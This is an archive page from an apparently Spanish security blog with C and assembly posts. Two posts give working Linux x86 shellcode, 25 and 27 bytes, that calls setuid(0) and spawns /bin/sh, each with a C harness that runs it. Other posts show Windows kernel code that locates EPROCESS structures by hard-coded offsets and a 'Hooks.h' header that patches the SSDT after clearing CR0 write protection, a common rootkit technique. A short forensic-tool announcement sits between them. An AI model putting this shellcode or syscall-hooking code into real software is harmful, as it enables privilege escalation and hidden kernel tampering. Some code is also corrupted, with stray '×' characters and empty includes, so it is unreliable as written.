Category Archives: C/C++ - Page 2

Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.

La más pequeña hasta la fecha.

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL

History:
	+ v1.0 (27 bytes) => http://safetybits.net/2008/11/14/gnulinux-x86-
                             setuid0-execvebinsh00-shellcode-without-null/

	+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)

http://packetstormsecurity.org/filedesc/

                             smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include 

const char shellcode[]=	"\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
			"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@safetybits.net"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 22/11/2008"
			"\n\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt

GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Hacía bastante tiempo que no trabajaba con shellcodes, así que hice una para GNU/Linux x86 de 27 bytes, que ejecuta un setuid(0) y un execve(“/bin/sh”,0,0).

Hasta ahora, la más pequeña que he visto (pública) era de 28 bytes.

/*
Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) Shellcode
without NULLs

Coded by Chema Garcia (aka sch3m4)
   + sch3m4@safetybits.net
   + http://safetybits.net
  Shellcode Size: 27 bytes
  Date: 13/11/2008
*/

#include 

const char shellcode[]=    "\x31\xC0"        //xor eax,eax
           "\x31\xC9"        //xor ecx,ecx
           "\xB0\x17"        //mov al,17h
           "\x60"            //pusha
           "\xCD\x80"        //int 80h
           "\x61"            //popa
           "\x51"            //push ecx
           "\x68\x6E\x2F\x73\x68"    //push 0x68732f6e
           "\x68\x2F\x2F\x62\x69"    //push 0x69622f2f
           "\x89\xE3"        //mov ebx, esp
           "\xB0\x0B"        //mov al,0xb
           "\xCD\x80";        //int 0x80

int main()
{
   printf("Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0)
Shellcode without NULLs"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + sch3m4@safetybits.net"
           "\n\t + http://safetybits.net"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         //(*(void (*)()) shellcode)();

   return 0;
}
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h;setuid
pusha
int 80h
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb;execve
int 0x80

milw0rm: http://milw0rm.com/shellcode/7115
PacketStormSecurity: http://packetstormsecurity.org/filedesc/smallnonulls-exec.txt.html

Editado: Unos días después de publicarla, vlan7 optimizó la shellcode en un byte, el código podéis verlo en su blog. Desde aquí, mis felicitaciones a vlan7.

PExtractor v0.2 Stable Released

Proyecto bajo licencia GPLv3 destinado a la informática forense.

El objetivo es crear una herramienta capaz de detectar y extraer los ficheros ejecutables (PE) contenidos en un fichero, para facilitar su posterior análisis por separado.

Tipos de archivos soportados: PE (EXE,DLL)

Mejoras de la version 0.2 Stable Release

  • Código más optimizado y estructurado
  • Traducido al estándar C POSIX
  • Funcionamiento independiente de la plataforma
  • Algunos bugs corregidos

PExtractor v.02 – Análisis y extracción sobre MS Windows

PExtractor v0.2 – Debian GNU/Linux

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (1/2)

PExtractor v0.2 – Análisis y extracción sobre Debian GNU/Linux (2/2)

Descarga de binarios y source: https://sourceforge.net/projects/pextractor/

Localizando la EPROCESS

En ciertas ocasiones, cuando estamos programando en modo kernel en sistemas Windows, nos es necesario localizar la EPROCESS de algún proceso para conocer alguno/s de sus datos. Las siguientes funciones, devuelven la dirección de memoria de la EPROCESS del proceso indicado, o bien por el PID del proceso, o por el nombre de la imagen.

Localizar según el PID

unsigned long BuscaEPROCESSPidDKOM(unsigned int Pid)
{
	unsigned long 	eproc,aux,proceso,ret;
	PLIST_ENTRY 	lista;
	unsigned int 	idProceso=0;

	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	idProceso=*((int *)(proceso+0×84));

	while(proceso!=0 && aux!=proceso && Pid!=idProceso)//recorremos la lista
	{
		proceso-=0×88;
		ret=proceso;
		idProceso=*((int *)(proceso+0×84));
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(Pid!=idProceso)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia PID=%d",Pid);
	#endif
	}
	return ret;
}

Localizar según el nombre de la imagen

unsigned long BuscaEPROCESSNombreDKOM(unsigned char *Nombre)
{
	unsigned long 		eproc,aux,proceso,ret=0;
	PLIST_ENTRY 		lista;
	unsigned char    	*p;

	eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
	//tenemos los punteros al siguiente y al anterior
	lista=(LIST_ENTRY*)(eproc+0×88);
	aux=(unsigned long)lista->Blink;
	proceso=(unsigned long)lista;
	p=(unsigned char *)(proceso+0×174);

	/* Recorremos la lista (comparando con la longitud del proceso
	   que nos dice el sistema, y no con el de el usuario */
	while(proceso!=0 && aux!=proceso && p!=0 &&
		     strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		proceso-=0×88;
		ret=proceso;
		p=(unsigned char *)(proceso+0×174);
		//avanzamos
		lista=lista->Flink;
		proceso=(unsigned long)lista;
	}
	if(strncmp(Nombre,p,strlen(Nombre))!=0)
	{
		ret=0;
	#ifdef DEBUG
		DbgPrint("DKOM: Coincidencia no encontrada");
	}else{
		DbgPrint("DKOM: Coincidencia: %s",Nombre);
	#endif
	}
	return ret;
}

Hooks.h

Hooks.h” es una cabecera escrita en lenguaje C, que recopila las funciones más importantes a la hora de realizar ganchos en modo kernel (en sistemas MS Windows), y que nos permite llevar cierto orden a la hora de saber cuántas y qué funciones, están enganchadas en la SSDT del kernel de Windows.

Básicamente, su comodidad reside en la relación existente entre las funciones, y tres variables declaradas que nos ayudan a llevar un control de los ganchos:

#define         NHOOKS  1//Numero de ganchos
unsigned short  SSDT_HOOKED=0;//Booleano
unsigned short  HOOKS_SSDT[NHOOKS]={0};//El estado de cada gancho

Cada función está definida con un valor entero, el cual usaremos en nuestras funciones y con el que movernos en el array “HOOKS_SSDT” para saber el estado del gancho. Ejemplo:

#define ZwCPEx 1

Para usar más funciones, basta con modificar el código de “Hooks.h” para que trabaje con ellas de la misma manera que lo hace con “ZwCreateProcessEx”, y definirlas con un ID único para cada funcion. Aprovechando la declaración anterior de “ZwCPEx”, la siguiente funcion podria ser:

#define ZwQSI 2 //ZwQuerySystemInformation

A continuación, el código de “Hooks.h” usando como ejemplo la API “ZwCreateProcessEx”:

/** ESTRUCTURAS Y VARIABLES PARA REALIZAR LOS GANCHOS **/
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
PMDL            g_pmdlSystemCall;
PVOID           *MappedSystemCallTable;
#define         SYSTEMSERVICE(_function)  \
KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
#define         SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define         HOOK_SYSCALL(_Function, _Hook, _Orig ) _Orig = \
(PVOID) InterlockedExchange((PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define         UNHOOK_SYSCALL(_Function, _Hook, _Orig ) InterlockedExchange( \
(PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

/** Para llevar un control de los ganchos **/
#define         NHOOKS  1//Numero de ganchos
unsigned short  SSDT_HOOKED=0;//Booleano
unsigned short  HOOKS_SSDT[NHOOKS]={0};//El estado de cada gancho

/*
 * FUNCION PARA ENGANCHAR LA SSDT Y SOBRE ESTA, ENGANCHAR
 * NUESTRAS FUNCIONES
 */
NTSTATUS HookSSDT()
{
	NTSTATUS    ret=STATUS_UNSUCCESSFUL;

	g_pmdlSystemCall=MmCreateMdl(NULL,KeServiceDescriptorTable.ServiceTableBase,
				     KeServiceDescriptorTable.NumberOfServices*4);
	if(g_pmdlSystemCall)
	{
		MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
		g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
		MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
		SSDT_HOOKED=1;
		ret=STATUS_SUCCESS;
		#ifdef DEBUG
		DbgPrint("SSDT Enganchada");
		#endif
	}
	#ifdef DEBUG
	else
	DbgPrint("Error al enganchar SSDT");
	#endif

	return ret;
}

/*
 * ENGANCHA UNA FUNCION DETERMINADA POR EL PARAMETRO "ID"
 * EN LA SSDT
 * (Ver cabeceras)
 */
void Hook(unsigned int ID)
{
    NTSTATUS ret;

    if(ID>=NHOOKS)
    {
        #ifdef DEBUG
        DbgPrint("ID de la funcion fuera de rango");
        #endif
        return;
    }

    if(!(SSDT_HOOKED || (!SSDT_HOOKED && (ret=HookSSDT())==STATUS_SUCCESS)))
    {
        #ifdef DEBUG
        DbgPrint("SSDT NO enganchada, y no se pudo enganchar");
        #endif
        return;
    }

    /* Deshabilitamos las interrupciones y
     * desactivamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        cli
        mov eax,cr0
        and eax,not 10000h
        mov cr0,eax
    }

    switch(ID)
    {
        #ifdef ZwCPEx
        case ZwCPEx:
            HOOK_SYSCALL(ZwCreateProcessEx,ZwCreateProcessExHACK,ZwCreateProcessExORIG);
            HOOKS_SSDT[ID]=1;
            #ifdef DEBUG
            DbgPrint("%d Enganchada",ID);
            #endif

            break;
        #endif
    }

    /* Habilitamos las interrupciones y
     * activamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        mov eax,cr0
        or eax,10000h
        mov cr0,eax
        sti
    }

	return;
}

/*
 * FUNCION PARA ENGANCHAR TODAS LAS FUNCIONES DEFINIDAS, EN LA SSDT
 */
void HookAll()
{
    unsigned int i;

    for(i=0;i<NHOOKS;i++)
    Hook(i);

    return;
}

/*
 * FUNCION PARA DESENGANCHAR UNA FUNCION DETERMINADA POR EL
 * PARAMETRO "ID" DE LA SSDT.
 * (Ver cabeceras)
 */
void UnHook(unsigned int ID)
{
    if(!SSDT_HOOKED)
    return;

    /* Deshabilitamos las interrupciones y
     * desactivamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        cli
        mov eax,cr0
        and eax,not 10000h
        mov cr0,eax
    }

    switch(ID)
    {
        #ifdef ZwCPEx
        case ZwCPEx:
            if(HOOKS_SSDT[ID]==1)
            {
                UNHOOK_SYSCALL(ZwCreateProcessEx,ZwCreateProcessExORIG,ZwCreateProcessExHACK);
                HOOKS_SSDT[ID]=0;
                #ifdef DEBUG
                DbgPrint("Desenganchada");
                #endif
            }
            break;
        #endif
    }

    /* Habilitamos las interrupciones y
     * activamos la proteccion contra escritura
     * mediante el registro CR0 del micro
     */
    _asm
    {
        mov eax,cr0
        or eax,10000h
        mov cr0,eax
        sti
    }

    return;
}

/*
 * FUNCION PARA DESENGANCHAR LA SSDT, ASEGURANDONOS PREVIAMENTE
 * DE QUE NO HAY FUNCIONES ENGANCHADAS. EN CASO DE HABERLAS, LAS
 * DESENGANCHA.
 */
void UnHookSSDT()
{
    unsigned int i;

    //Nos aseguramos de deshacer los ganchos
    for(i=0;i<NHOOKS;i++)
    if(HOOKS_SSDT[i])
    UnHook(i);

    if(g_pmdlSystemCall)
    {
        MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
        IoFreeMdl(g_pmdlSystemCall);
        SSDT_HOOKED=0;
        #ifdef DEBUG
        DbgPrint("SSDT liberada");
        #endif
    }

    return;
}